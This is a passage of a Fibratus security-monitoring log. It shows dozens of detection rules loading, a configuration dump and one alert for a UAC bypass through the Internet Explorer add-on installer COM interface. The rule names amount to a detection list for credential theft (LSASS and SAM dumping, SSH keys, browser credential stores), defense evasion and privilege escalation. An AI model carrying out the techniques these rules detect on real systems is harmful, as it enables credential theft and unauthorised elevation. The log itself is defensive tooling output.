C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-05T15:44:56+01:00 level=info msg=bootstrapping with pid 2668. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T15:44:56+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ enabled=>false quiet-mode=>false sound=>true] slack=>[ enabled=>false] mail=>[ port=>25 to=>[] content-type=>text/html use-template=>true enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-handles=>false serialize-envs=>true serialize-images=>false serialize-pe=>false] + eventsource .................... [ enable-audit-api=>true enable-dns=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-fileio=>true buffer-size=>512 enable-registry=>true enable-mem=>false enable-net=>true stack-enrichment=>true enable-thread=>true max-buffers=>36 enable-vamap=>true min-buffers=>16 enable-image=>true enable-handle=>false enable-threadpool=>false flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 max-age=>0 max-backups=>15 log-stdout=>true formatter=>text level=>info] + output ......................... [ elasticsearch=>[ healthcheck-timeout=>5s template-name=>fibratus index-name=>fibratus enabled=>false gzip-compression=>false bulk-workers=>1 healthcheck-interval=>10s flush-period=>1s timeout=>5s healthcheck=>true sniff=>false servers=>[http://127.0.0.1:9200] trace-log=>false] eventlog=>[ level=>info enabled=>false] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] amqp=>[ routing-key=>fibratus vhost=>/ durable=>false exchange-type=>topic enabled=>false exchange=>fibratus url=>amqp://localhost:5672 passive=>false delivery-mode=>transient timeout=>5s tls-insecure-skip-verify=>false] http=>[ timeout=>5s endpoints=>[] enabled=>false enable-gzip=>false serializer=>json tls-insecure-skip-verify=>false method=>POST]] + pe ............................. [ read-symbols=>false enabled=>false read-resources=>false read-sections=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ skip-mmaps=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-registry=>false skip-allocs=>false scan-timeout=>10s fastscan=>true skip-files=>false excluded-procs=>[] excluded-files=>[] enabled=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-05T15:44:56+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:44:59+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:45:56+01:00 level=info msg=sending alert: [UAC bypass via elevated Internet Explorer add-on installer COM interface]. Text: Event(s): + Seq: 9945102 + Pid: 15692 + Tid: 9044 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:45:44.2272632 +0100 CET + Params: cmdline➜ C:\Users\nedo\AppData\Local\Temp\IDC1.tmp\[1]consent.exe, directory_table_base➜ 4015df000, domain➜ ARCHRABBIT, exe➜ C:\Users\nedo\AppData\Local\Temp\IDC1.tmp\[1]consent.exe, exit_status➜ Success, flags➜ , kproc➜ ffff978f7a8d8080, name➜ [1]consent.exe, pid➜ 13892, ppid➜ 15692, real_ppid➜ 15692, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-05 15:45:44.2272632 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 1764945952817198820, rule.name: UAC bypass via elevated Internet Explorer add-on installer COM interface, tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004, tactic.name: Privilege Escalation + + Pid: 15692 + Ppid: 1224 + Name: ieinstal.exe + Parent name: svchost.exe + Cmdline: "C:\Program Files\Internet Explorer\IEInstal.exe" -Embedding + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\Program Files\Internet Explorer\IEInstal.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Internet Explorer\IEInstal.exe" -Embedding] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-05T15:46:08+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T15:46:08+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:46:08+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:47:05+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info 